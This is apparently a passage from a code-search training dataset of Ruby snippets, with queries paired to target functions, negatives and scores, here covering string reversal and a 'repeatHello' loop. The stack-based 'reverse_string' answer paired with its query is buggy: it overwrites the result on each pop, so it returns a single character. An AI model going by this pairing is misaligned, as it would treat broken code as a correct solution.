are antigrams\"\n else\n return \"This word can't be an antigram since it is an anagram\"\n end\n end", "def promedios\n promedio = (@nota1.to_f + @nota2.to_f + @nota3.to_f) / 3\n promedio\n end", "def n4\n ret = []\n $base_words.each { |base_word|\n (0..9).each { |n|\n ret << \"#{n}#{base_word}\"\n }\n }\n return ret\n end", "def transmogrifier(num1,num2,num3)\n\tp (num1*num2)**num3\nend", "def polly_wanna word2\n word2*3\nend", "def kth_grammar(n, k, base = 0)\n return base if k == 1\n half_length = 2 ** (n - 2)\n if k > half_length\n kth_grammar(n - 1, k - half_length, base.zero? ? 1 : 0)\n else\n kth_grammar(n - 1, k, base)\n end\nend", "def mixing\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n mixing_start_index = @input.index\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return \n end\n # at line 322:9: ( 'M' | 'm' ) ( 'I' | 'i' ) ( 'X' | 'x' ) ( 'I' | 'i' ) ( 'N' | 'n' ) ( 'G' | 'g' )\n if @input.peek( 1 ).between?( T__40, T__41 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__24, T__25 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__58, T__59 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__24, T__25 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__34, T__35 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__56, T__57 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n memoize( __method__, mixing_start_index, success ) if @state.backtracking > 0\n\n end\n \n return \n end", "def score_in_words\n case score*10\n when 0..4 \n \"Sad\"\n when 4..7\n \"Meh\"\n when 7..9\n \"Good\"\n when 9..10\n \"Great\"\n else \"Unknown\"\n end\n end", "def process_question\n #There are two types of Questions - One which starts with 'how many Credits is ' and the other is 'how much is' \n if @line.start_with? \"how many Credits is \"\n main_question_part = @line.split(\"how many Credits is \")[1] #e.g from how many Credits is glob prok Silver ? gets glob prok Silver ?\n galatic_literals = Translation.translate_question(main_question_part) #e.g from glob prok Silver gets glob prok\n trademetal = TradeMetal.get_trade_metal(main_question_part) #e.g from glob prok Silver gets Silver\n if trademetal && galatic_literals\n trademetal_price_credit = (galatic_literals.galactic_words_to_numeral * trademetal.unit_price).to_i\n puts \"#{galatic_literals} #{trademetal.coin_name} is #{trademetal_price_credit} Credits\"\n return\n end\n elsif @line.start_with? \"how much is \"\n main_question_part = @line.split(\"how much is \")[1] #e.g from how much is pish tegj glob glob ? gets pish tegj glob glob ?\n galatic_literals = Translation.translate_question(main_question_part) #e.g from pish tegj glob glob ? gets pish tegj glob glob\n if galatic_literals\n conversion_value = galatic_literals.galactic_words_to_numeral\n puts \"#{galatic_literals} is #{conversion_value}\"\n return\n end\n end\n throw_away_meaningless_line\n end", "def type3\n return @type3 || 0\n end", "def get_grade(gr1, gr2, gr3)\n average = (gr1 + gr2 + gr3) / 3\n return \"A\" if average >= 90\n return \"B\" if average >= 80\n return \"C\" if average >= 70\n return \"D\" if average >= 60\n \"F\"\nend", "def multiguess(forms,type,tags,gender=nil)\n # 0) trivial cases\n type = Rlp::Grammar::FlexemeType.for_tag(type.to_sym)\n if type.paradigms.size == 1 && type.paradigms.first.suffixes.size == 1\n return forms.map{|f| [type.paradigms.to_a,[f],tags]}\n end\n # 1) guess without tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym)\n unless paradigms.empty?\n disambiguated = disambiguate(paradigms,gender)\n if disambiguated.size == 1\n return [[disambiguated,forms,tags]]\n end\n end\n # 2) guess with tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym,\n :tags => tags)\n unless paradigms.empty?\n return [[disambiguate(paradigms,gender),forms,tags]]\n end\n # build 'inflection postion' -> 'forms' map\n position_to_forms = {}\n forms.zip(tags).each do |form,form_tags|\n form_tags.uniq.each do |current_tags|\n position_to_forms[current_tags] ||= []\n position_to_forms[current_tags] << form\n end\n end\n # There are no ambiguous position -> form mappings,\n # the paradigm is unknown.\n unless position_to_forms.values.any?{|fs| fs.size > 1}\n return [[[],forms,tags]]\n end\n #position_to_forms.values.each{|fs| ambiguity[fs.size] += 1}\n position_to_forms = position_to_forms.sort_by{|t,fs| fs.size}\n # in most cases there are only two competing flexemes\n if position_to_forms.last[1].size == 2\n # 3) split the forms heuristically into two flexemes\n # by taking the last to forms and looking for the\n # longest common substring\n ambig_flexemes = position_to_forms.last[1].\n map{|f| [[position_to_forms.last[0]],[f]]}\n position_to_forms[0..-2].each do |position,position_forms|\n if position_forms.size == 2\n map = {}\n 2.times.map do |flexeme_index|\n position_forms.each.with_index do |form,form_index|\n d_index = ambig_flexemes[flexeme_index][1].first.chars.to_a.\n zip(form.chars.to_a).each.with_index do |c1_c2,c_index|\n break c_index if c1_c2[0] != c1_c2[1]\n end\n unless d_index.is_a?(Fixnum)\n d_index = ambig_flexemes[flexeme_index][1].first.size\n end\n map[[flexeme_index,form_index]] = d_index - form.size\n end\n end\n map = map.sort_by{|k,v| -v}\n # assign the best match (e.g. [1,0])...\n best_indices = map[0][0]\n ambig_flexemes[best_indices[0]][0] << position\n ambig_flexemes[best_indices[0]][1] << position_forms[best_indices[1]]\n # and the complementary match (e.g. [0,1])\n map[1..-1].each do |indices,value|\n if indices[0] != best_indices[0] && indices[1] != best_indices[1]\n ambig_flexemes[indices[0]][0] << position\n ambig_flexemes[indices[0]][1] << position_forms[indices[1]]\n break\n end\n end\n else\n 2.times{|i| ambig_flexemes[i][0] << position;\n ambig_flexemes[i][1] << position_forms[0]}\n end\n end\n # re-create mappings 'form' -> 'positions', e.g.\n # transform the array\n ambig_flexemes.map! do |positions_and_forms|\n f_positions, f_forms = positions_and_forms\n map = {}\n f_positions.zip(f_forms).each do |position,form|\n map[form] ||= []\n map[form] << position\n end\n [map.keys,map.values]\n end\n paradigms = ambig_flexemes.map do |forms_and_positions|\n f_forms, f_positions = forms_and_positions\n self.guess(f_forms,type.to_sym,:tags => f_positions)\n end\n if paradigms.all?{|ps| !ps.empty?}\n return ambig_flexemes.zip(paradigms).\n map do |forms_and_positions,f_paradigms|\n f_forms, f_positions = forms_and_positions\n [disambiguate(f_paradigms,gender),f_forms,f_positions]\n end\n end\n end\n # 4) visit all mappings\n # # TODO\n #matched_sets = []\n #visit_mappings(position_to_forms,type,matched_sets)\n #unless matched_sets.empty?\n # pp matched_sets.map{|e| [e[0].code,e[1]]}\n #end\n return [[[],forms,tags]]\n end", "def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend", "def sequence(count = 3)\n render @phrases.sample(count).join(\" \")\n end", "def k_asignacion!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n\n type = K_ASIGNACION\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 381:3: ( 'add' | 'div' | 'mul' | 'sub' | 'pot' | 'sqrt' | 'copy' | 'del' | 'porcent' )\n # at line 381:3: ( 'add' | 'div' | 'mul' | 'sub' | 'pot' | 'sqrt' | 'copy' | 'del' | 'porcent' )\n alt_7 = 9\n case look_7 = @input.peek( 1 )\n when 0x61 then alt_7 = 1\n when 0x64 then look_7_2 = @input.peek( 2 )\n\n if ( look_7_2 == 0x69 )\n alt_7 = 2\n elsif ( look_7_2 == 0x65 )\n alt_7 = 8\n else\n raise NoViableAlternative( \"\", 7, 2 )\n\n end\n when 0x6d then alt_7 = 3\n when 0x73 then look_7_4 = @input.peek( 2 )\n\n if ( look_7_4 == 0x75 )\n alt_7 = 4\n elsif ( look_7_4 == 0x71 )\n alt_7 = 6\n else\n raise NoViableAlternative( \"\", 7, 4 )\n\n end\n when 0x70 then look_7_5 = @input.peek( 2 )\n\n if ( look_7_5 == 0x6f )\n look_7_11 = @input.peek( 3 )\n\n if ( look_7_11 == 0x74 )\n alt_7 = 5\n elsif ( look_7_11 == 0x72 )\n alt_7 = 9\n else\n raise NoViableAlternative( \"\", 7, 11 )\n\n end\n else\n raise NoViableAlternative( \"\", 7, 5 )\n\n end\n when 0x63 then alt_7 = 7\n else\n raise NoViableAlternative( \"\", 7, 0 )\n\n end\n case alt_7\n when 1\n # at line 381:4: 'add'\n match( \"add\" )\n\n\n when 2\n # at line 381:10: 'div'\n match( \"div\" )\n\n\n when 3\n # at line 381:16: 'mul'\n match( \"mul\" )\n\n\n when 4\n # at line 381:22: 'sub'\n match( \"sub\" )\n\n\n when 5\n # at line 381:28: 'pot'\n match( \"pot\" )\n\n\n when 6\n # at line 381:34: 'sqrt'\n match( \"sqrt\" )\n\n\n when 7\n # at line 381:41: 'copy'\n match( \"copy\" )\n\n\n when 8\n # at line 381:48: 'del'\n match( \"del\" )\n\n\n when 9\n # at line 381:54: 'porcent'\n match( \"porcent\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end", "def crackle(number)\n\treturn \"Crackle\" if number % 3 == 0\nend", "def termsig(*) end", "def guessnumber\r\n\t\t@tries = @wordlength * 3 / 2\r\n\t\tputs \"player 2: you have #{@tries} guesses to get the word\"\r\n\tend", "def speak_to_grandma(phrase)\n if phrase == \"I LOVE YOU GRANDMA!\"\n return \"I LOVE YOU TOO PUMPKIN!\"\n elsif phrase==phrase.upcase\n return \"NO, NOT SINCE 1938!\"\n else\n return \"HUH?! SPEAK UP, SONNY!\"\n end\nend", "def solve_two_vs_three_vs_five\n return if @arr[1].nil? || @arr[6].nil?\n\n #p \"1,6: #{@arr[1]},#{@arr[6]}\"\n\n @words.filter{|x| x.length == 5 && @hash[x].nil?}.each{|w|\n if @arr[1].chars.all?{|c| w.chars.include?(c)}\n solved(3, w)\n elsif w.chars.all?{|c2| @arr[6].chars.include?(c2)}\n solved(5, w)\n else\n solved(2, w)\n end\n }\n end" ]
[ "0.675764", "0.6333547", "0.62891024", "0.61426634", "0.6099826", "0.5895995", "0.58596414", "0.57853615", "0.57394326", "0.5702608", "0.5698234", "0.56842625", "0.56842625", "0.5603044", "0.554378", "0.550506", "0.5471493", "0.547122", "0.543313", "0.54058", "0.53909135", "0.5387988", "0.5383113", "0.53795934", "0.53795934", "0.53795934", "0.53795934", "0.5372688", "0.5362453", "0.5350329", "0.53247035", "0.53108245", "0.5304499", "0.52924937", "0.5292462", "0.52859074", "0.5280728", "0.52765334", "0.5266583", "0.5266583", "0.5262838", "0.5253503", "0.5244782", "0.52434593", "0.52417064", "0.52398086", "0.52398086", "0.5230564", "0.52271193", "0.52171427", "0.52026355", "0.51947963", "0.51943725", "0.51943725", "0.51867425", "0.5180737", "0.51770675", "0.51597935", "0.51596713", "0.51366645", "0.5106329", "0.51062506", "0.5105169", "0.5104858", "0.5103565", "0.510265", "0.50979584", "0.508779", "0.5087633", "0.50871044", "0.50817025", "0.50784564", "0.5063274", "0.5055504", "0.50543123", "0.5046975", "0.50425494", "0.50412077", "0.50398594", "0.50392306", "0.5033608", "0.50330895", "0.5022668", "0.50224125", "0.50185734", "0.50151294", "0.5013668", "0.5003114", "0.50022495", "0.49983835", "0.49973068", "0.49945158", "0.49885914", "0.4985591", "0.4983826", "0.49837336", "0.49817938", "0.49807763", "0.4968823", "0.49675176", "0.49634185" ]
0.0
-1
Example: Given s = "hello", return "olleh". With Stack DS Reversal is the convenient propery of a stack Time: O(n) Space: O(n)
def reverse_string(s) i = 0 stack = [] while i < s.length do stack.push(s[i]) i += 1 end rev_s = "" while stack.length > 0 do rev_s = stack.pop end rev_s end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reverse_string(string)\n #time complexity and space compexity O(n), there are 2 loops but they are not nested\n #each loop is O(n)\n return nil if string.class != String #check if input os correct\n local_stack = Stack.new() #create new Stack instance\n string.each_char do |char| #insert all character from string into stack\n local_stack.push(char)\n end\n string.length.times do |i| #reassign characters with stack values (FILO)\n string[i] = local_stack.pop()\n end\n string\nend", "def reverse(s)\n return \"\" if s == nil || s.length == 0\n return reverse(s[1..-1]) + s[0] #s[1..-1] is creating a new substring using a new memory address(diff object id)\nend", "def reverse(s)\n if s.size == 1 or s.size == 0\n return s\n end\n return reverse(s[1..-1]) + s[0]\nend", "def reverse(s)\n\treturn s if s.length <= 1\n\t\n\tshort_s = s[1..(s.length - 1)]\n\treturn reverse(s[short_s]) + s[0]\nend", "def reverse_inplace(s)\n\treturn reverse_helper(s, 0, (s.length - 1))\nend", "def reverse(input)\n s = Stack.new\n input.length.times do |e|\n s.push(input[e])\n end\n\n output = ''\n while(!s.empty?)\n output << s.pop\n end\n\n return output\nend", "def reverse(s)\n return s if s.length <= 1\n return s[-1] + reverse(s[0...-1])\n end", "def reverse(s)\n return s if s.length < 2\n\n return reverse(s[1..-1]) + s[0] # Solution (1)\n # return s[-1] + reverse(s[0..-2]) # Solution (2)\nend", "def reverse(s)\n\n return s if s.length <= 1\n\n last = s[-1]\n\n rest = s[0...-1]\n\n return last + reverse(rest)\nend", "def reverse(s)\n raise ArgumentError if !s\n \n length = s.length\n return s if length <= 1\n return s[length - 1] + reverse(s[1...(length - 1)]) + s[0]\nend", "def reverse_inplace(s)\n return s if s.length <= 1\n return reverse_inplace_recursive(s, 0, (s.length - 1))\nend", "def reverse(s)\n if s.length <= 1\n return s\n else\n rs = reverse(s[1..-1])\n rs += s[0]\n rs\n end \nend", "def reverse(s)\n return s if s.length <= 1\n return reverse(s[1..-1]) + s[0]\nend", "def reverse(s)\n return s if s.length <= 1\n return reverse(s[1..-1]) + s[0]\nend", "def reverse(s)\n if !s || s.length == 0\n return s\n else\n return reverse(s[1..-1]) << s[0]\n end\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend", "def reverse(s)\n if s.length == 0 || s.length == 1 # base case\n return s\n end\n return reverse(s[1..-1]) + s[0]\nend", "def reverse_inplace(s)\n if s.size < 2\n return s\n end\n return reverse_inplace(s[1..-1]) + s[0]\nend", "def reverse_inplace(s)\n b = 0\n e = s.length - 1\n reverse_inplace_helper(b,e,s)\n return s\nend", "def reverse_inplace(s)\n return s if s.length == 0\n return s if s.length == 1\n\n reverse_helper(s, 0, s.length - 1)\n return s\nend", "def reverse(s)\n if s.length <= 1\n return s\n else\n return s[-1] + reverse(s[0...-1])\n end\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0, s.length-1)\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0 , s.length - 1) \nend", "def reverse(s)\n\n return s if s.length < 2\n return reverse(s[1..-1]) + s[0]\n \nend", "def reverse_inplace(s)\n return s if s.length == 0\n return reverse(s[1..-1]) + s[0]\nend", "def reverse(s)\n if s.length == 0 || s.length == 1\n return s\n else\n return s[-1] + (reverse(s[0..-2]))\n end\nend", "def reverse_inplace(s)\n if s.length <= 1\n return s\n else\n rs = reverse(s[1..-1])\n rs += s[0]\n rs\n end \nend", "def reverse_inplace(s)\n return s if s.length <= 1\n return s[-1] + reverse(s[0...-1])\n end", "def reverse(s)\n return s if s.length == 1 || s.empty?\n return s[-1] + reverse(s[1..-2]) + s[0]\nend", "def reverse_string_2(s)\n swap(0,s.size-1, s)\nend", "def reverse(s)\n\n if s.length == 0\n return s\n else \n return s[s.length-1] + reverse(s[0, s.length-1])\n end\n\nend", "def reverse(s, first = 0, last = s.length-1)\n return s if first > last\n\n holder = s[first]\n s[first] = s[last]\n s[last] = holder\n\n return reverse(s, first +1, last -1)\nend", "def reverse(s)\n\n return s if s.length <= 1\n reversed = reverse(s[1..-1])\n reversed << s[0]\n\nend", "def reverse(s)\n # raise NotImplementedError, \"Method not implemented\"\n return s if s.length <= 1\n return s[s.length - 1] + reverse(s[0, s.length - 1])\n\nend", "def reverse_inplace(s)\n return s if s.length <= 1\n return reverse_inplace(s[1..-1]) + s[0]\nend", "def reverse_inplace(s)\n # Input validation\n return nil if s == nil\n return '' if s.length == 0 \n i = 0\n j = s.length-1\n reverse_helper(s, i, j)\n return s \nend", "def reverse(s)\n if s.length <= 1\n return s \n else \n return s[s.length - 1] + reverse(s[0..-2])\n end\nend", "def reverse(s)\n return s if s.length <= 1\n reversed_s = reverse(s[1..-1])\n reversed_s += s[0]\n return reversed_s\nend", "def reverse_inplace(s)\n return s if s.length == 1 || s.empty? || s[0] == s[-1]\n while s.length > 0\n x = s[0]\n y = s[-1]\n s[-1] = x\n s[0] = y\n return reverse_inplace(s[1..-2])\n end\nend", "def reverse(s)\n # when the string length is less or equal to 1, it's no need to reverse\n if s.length <= 1\n return s \n else\n return reverse(s[1..-1]) + s[0]\n end\nend", "def reverse(s)\n # raise NotImplementedError, \"Method not implemented\"\n if s.length <= 1 # will stop once string is equal to 1 or less\n return s\n else\n return s[-1] + reverse(s[0..-2])\n end\nend", "def reverse(s)\n # Input validation\n return nil if s == nil\n return '' if s.length == 0\n # Base case\n return s if s.length == 1\n # Recursive case\n return reverse(s[1..s.length-1]) + s[0]\nend", "def reverse_inplace(s)\n\n if s.length == 0\n return s\n else \n return s[s.length-1] + reverse(s[0, s.length-1])\n end\n\nend", "def reverse(s)\n # base case\n return s if s.length < 2\n # recursive case\n return s[-1] + reverse(s[0..-2]);\nend", "def reverse(s)\n return s if s.length <= 1 \n rev_s = reverse(s[1..-1])\n rev_s += s[0]\n return rev_s\nend", "def reverse_string_recursive(s)\n reverse_string_helper(s, 0, s.length - 1)\nend", "def reverse_inplace(s)\n if s.length <= 1\n return s \n else \n return s[s.length - 1] + reverse(s[0..-2])\n end\nend", "def reverse(s)\n # create the string variable so we don't modify the string passed in as a parameter\n string = s\n if string.length < 2\n return s\n end\n\n last_el = string[-1]\n others = string[0...-1]\n others = reverse(others)\n return last_el + others\nend", "def reverse(s)\n return s if s.length <= 1\n\n reverse_array = []\n return help_rev(s, reverse_array, s.length)\nend", "def reverse_inplace(s)\n if !s || s.length == 0\n return s\n else\n return reverse_inplace(s[1..-1]) << s[0]\n end\nend", "def reverse(s)\n return s if s.length == 0\n last = s[-1]\n s = s[0..-2]\n reversed_string = last + reverse(s)\n return reversed_string\nend", "def reverse(s)\n return s if s.length == 0\n\n return \"#{s[-1]}#{reverse(s[0...s.length-1])}\"\nend", "def reverse(s)\n return s.reverse\nend", "def reverse(s)\n\tmid = s.length / 2\n\n\t# alt: mid.times do |i|\n\t# alt: for i in (0..mid-1)\n\t0.upto(mid - 1) do |i|\n\t\ts[i], s[-i-1] = s[-i-1], s[i]\n\tend\n\n\ts\nend", "def reverse_inplace(s)\n # This is a wrapper method\n return reverse_inplace_2(s, 0, s.length - 1)\nend", "def reverse_inplace(s)\n return s if s.empty?\n return (s[1..-1]).reverse + s[0]\nend", "def reverse_inplace(s)\n return s if s.length <= 1\n gnirts = reverse_inplace(s[1..-1])\n gnirts += s[0]\nend", "def reverse(s)\n return s if s.length == 1\n return '' if s.empty?\n\n return reverse(s[1..-1]) + s[0]\nend", "def reverse(s)\n return '' if s == nil || s == ''\n\n i = 0\n puts \"#{s} #{s[i]}\"\n return reverse(s[i + 1..-1]) + s[i]\nend", "def reverse_inplace(s, first = 0, last = s.length - 1) \n return s if first >= last\n \n top = s[first]\n s[first] = s[last]\n s[last] = top\n return reverse_inplace(s, first += 1, last -= 1)\nend", "def reverse(s)\n return \"\" if s.empty?\n return s[0] if s.length == 1\n \n return reverse(s[1..-1]) + s[0]\nend", "def reverse_inplace(s)\n return s if s.length <= 1\n\n s = s.split('')\n first = s[0]\n last = s[s.length-1]\n s.shift\n s.pop\n\n s = reverse_inplace(s.join(''))\n s = s.split('')\n s.unshift(last)\n s.push(first)\n return s.join('')\nend", "def reverse(s)\nend", "def reverse(str)\n stack = Stack.new\n\n str.each_char do |char| \n stack.push(char)\n end\n\n new_string = \"\"\n\n while stack.read\n new_string += stack.pop\n end\n \n new_string\nend", "def reverse_string(s)\n raise ArgumentError if s.empty?\n i = 0\n j = s.length - 1\n while( i < j)\n temp = s[j]\n s[j] = s[i]\n s[i] = temp\n i += 1\n j -= 1\n end\nend", "def reverse(s)\n s.reverse\nend", "def reverse_inplace(s, left = 0, right = s.length - 1)\n return '' if s.empty?\n return s if s.length == 1\n if left < right\n s[left], s[right] =\n s[right], s[left]\n reverse_inplace(s, left + 1, right - 1)\n end\n return s\nend", "def reverse(s)\n return \"\" if s == \"\"\n if s.length == 1\n return s[0]\n else\n return s[-1] + reverse(s[0...-1])\n end\nend", "def reverse(s)\n # raise NotImplementedError, \"Method not implemented\"\n return s.slice(-1) + reverse(s.slice(0, s.length - 1)) unless s.length.zero?\n return \"\" if s.length.zero?\nend", "def reverse_string(s)\n return s if s.length <= 1\n\n s = s.chars\n head = 0\n tail = s.length - 1\n\n while (head <= tail) do\n placeholder = s[tail]\n s[tail] = s[head]\n s[head] = placeholder\n\n head += 1\n tail -= 1\n end\n\n s.join\nend", "def reverse(s)\n return \"\" if s.length == 0 \n return reverse(s[1,s.length]) + s[0]\nend", "def reverse(s)\n if s.length == 0\n return \"\"\n else \n return s[-1] + reverse(s[0...-1]) \n end \nend", "def reverse_fun(s)\n reversed_string = s.reverse\n if reversed_string.size == 1\n reversed_string\n else\n reversed_string[0] + reverse_fun(reversed_string[1..-1])\n end\nend", "def reverse(s)\n str =''\n index = s.length-1\n str= reverse_helper(s,str,index)\n return str\n\nend", "def reverse_inplace(s, first = 0, last = s.length - 1)\n return s if first >= last\n temp = s[first]\n s[first] = s[last]\n s[last] = temp\n \n return reverse_inplace(s, first + 1, last - 1)\nend", "def reverse_inplace(s, i = 0, j = s.length - 1)\n if i >= j\n return s\n else\n temp = s[i]\n s[i] = s[j]\n s[j] = temp\n\n return reverse_inplace(s, i += 1, j -= 1)\n end\nend", "def reverse_inplace(s, pointer = 0)\n \n return s if pointer == s.length / 2\n s[pointer], s[- 1 - pointer] = s[- 1 - pointer ], s[pointer]\n\n reverse_inplace(s, pointer + 1)\n \nend", "def reversal(string)\n string.split.reverse.join(' ')\nend", "def reverse(string)\n return string if string.length < 2\n \n reversed = reverse(string[1, string.length]) # <-- top bottom\n reversed + string[0] # <-- bottom up\nend", "def reverse_inplace(s, first = 0, last = s.length-1)\n if first < last\n s[first], s[last] = s[last], s[first]\n return reverse_inplace(s, first + 1, last -1)\n end\n return s\nend", "def reverse(s)\n reversed_string = \"\"\n if s.length >= 1 \n reversed_string = reverse(s[1..-1])\n reversed_string += s[0]\n else \n return reversed_string\n end\nend", "def string_reverse(my_string)\r\n if my_string == nil\r\n return nil\r\n elsif my_string.length == 1\r\n return my_string\r\n else\r\n origin = my_string.length - 1\r\n target = 0\r\n temp = nil\r\n (my_string.length / 2).times do\r\n temp = my_string[target]\r\n my_string[target] = my_string[origin]\r\n my_string[origin] = temp\r\n origin -= 1\r\n target += 1\r\n end\r\n end\r\n return my_string\r\nend", "def reverse(s)\n if s.length == 0\n return \"\"\n elsif s.length == 1\n return s\n else\n # last_char = s[-1]\n # s = s.chop\n # return last_char + reverse(s)\n middle = s[1...-1]\n return s[-1] + reverse(middle) + s[0]\n end\nend", "def reverse_inplace(s, i = 0, j = (s.length - 1))\n # base case\n return s if i >= j\n # recursive case\n temp = s[i]\n s[i] = s[j]\n s[j] = temp\n return reverse_inplace(s, i + 1, j - 1)\nend", "def reverse(s)\n return s if s.length <= 1\n new_s = \"\"\n new_s << s[-1] + reverse(s[0..-2])\nend", "def solution(str)\n str.reverse\nend", "def reverse_s(string)\r\n puts string.reverse\r\nend", "def reverse_string(s)\n left = 0\n right = s.length - 1\n\n while left < right\n s[left], s[right] = s[right], s[left]\n left += 1\n right -= 1\n end\n\n s\nend", "def reverse_string(s)\n left = 0\n right = s.length - 1\n while left < right\n s[left], s[right] = s[right], s[left]\n left += 1\n right -= 1\n end\n s\nend", "def solution(str)\n str.reverse\nend", "def string_reverse(my_string)\r\n return nil if my_string.nil?\r\n n = my_string.length\r\n i = 0\r\n j = n-i-1\r\n\r\n while i < j do\r\n memo = my_string[i]\r\n my_string[i] = my_string[j]\r\n my_string[j] = memo\r\n i = i+1\r\n j = j-1\r\n end\r\nend", "def reverse_inplace(s, first = 0, last = s.length - 1)\n # raise NotImplementedError, \"Method not implemented\"\n if first < last\n s[first], s[last] = s[last], s[first]\n reverse_inplace(s, first + 1, last - 1)\n end\n s\nend", "def reverse_helper(string, s, e)\n pairs = (e + 1 - s)/2\n pairs.times do\n temp = string[s]\n string[s] = string[e]\n string[e] = temp\n s += 1\n e -= 1\n end\nend", "def reverse_string s1\n s1.reverse\nend", "def FirstReverse(str)\n return str.reverse!\nend", "def FirstReverse(str)\n str.reverse\nend", "def string_reverse(my_string)\r\n return nil if my_string == nil || my_string.length == 0\r\n\r\n i = 0\r\n j = my_string.length - 1\r\n\r\n while i < j\r\n temp = my_string[i]\r\n my_string[i] = my_string[j]\r\n my_string[j] = temp\r\n i += 1\r\n j -= 1\r\n end\r\n\r\n return # reversal is done in place so no new object is returned\r\nend", "def reverse(string)\n # slice returns at [index, til it has that many chars/elements]\n return string if string.length <= 1\n string[-1] + reverse(string.slice(1, string.length - 2)) + string[0]\nend" ]
[ "0.77927005", "0.7500197", "0.7455506", "0.74365205", "0.7389628", "0.7383772", "0.73691225", "0.73644763", "0.7344535", "0.7344316", "0.73431414", "0.73221034", "0.73095644", "0.7288908", "0.72886795", "0.72840345", "0.72802263", "0.72776836", "0.72693324", "0.7268374", "0.72645426", "0.72621727", "0.72621727", "0.7261124", "0.7252028", "0.7248279", "0.72408193", "0.723481", "0.72249675", "0.7223514", "0.7222292", "0.7219557", "0.72140276", "0.71995753", "0.7198218", "0.71969914", "0.7193927", "0.7191445", "0.7186264", "0.7185845", "0.7177804", "0.7174447", "0.7165362", "0.71622086", "0.7136212", "0.7134468", "0.71341723", "0.71274555", "0.71257836", "0.7120997", "0.71137255", "0.7101148", "0.7096817", "0.7087121", "0.7075392", "0.70686316", "0.70637506", "0.70532906", "0.7050763", "0.70460814", "0.703628", "0.702831", "0.7003332", "0.6994917", "0.69892526", "0.6988207", "0.69863296", "0.6984897", "0.69837785", "0.6963784", "0.69573957", "0.6947817", "0.6928477", "0.6917702", "0.69157255", "0.6897427", "0.6880788", "0.68619305", "0.68608797", "0.685126", "0.6830034", "0.6821219", "0.6815972", "0.678527", "0.67764354", "0.67691934", "0.6757815", "0.67327064", "0.6720894", "0.67183554", "0.6699259", "0.6696187", "0.66934836", "0.66881156", "0.6684976", "0.6681163", "0.6673543", "0.66724384", "0.66660196", "0.6663145" ]
0.74932414
2
allows us to repeat code in an efficient and elegant way def repeatHello() puts "hello" puts "hello" puts "hello" end repeatHello()
def repeatHello() counter = 1 while counter <= 5 puts "hello" counter += 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def repeatHello(n)\n i = 0\n while i < n\n puts 'hello'\n i += 1\n end\nend", "def say_hello_world_five_times\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\nend", "def repeat_hi(num)\n num.times { puts \"hi\" }\nend", "def say_hello_ten_times\n\nphrase = \"Hello World!\"\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nend", "def repeat_hi2(num)\n num.times { puts 'hi' }\nend", "def say_hello_ten_times\n phrase = \"Hello World\"\n 10.times do\n puts phrase\n end \nend", "def repeat_ho(num)\n num.times { puts 'hi' }\n end", "def print_hello(number_of_times)\r\n\ti = 0\r\n\twhile i < number_of_times\r\n\t\tprint \"hello \"\r\n\t\ti+=1\r\n\tend\r\nend", "def say_hello_ten_times #method signature\n phrase = \"Hello World\"\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n end", "def say_hello_world_ten_times\n phrase = \"Hello World\"\n \n \nphrase = \"Hello World!\"\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nend", "def print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"Hello\"\n i += 1\n end\nend", "def say_ruby_ten_times\n phrase = \"Hello World\"\n 10.times do puts phrase\n end\nend", "def repeat_yourself(word, count)\n count.times {puts word}\n end", "def print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"hello\"\n i += 1\n end\nend", "def 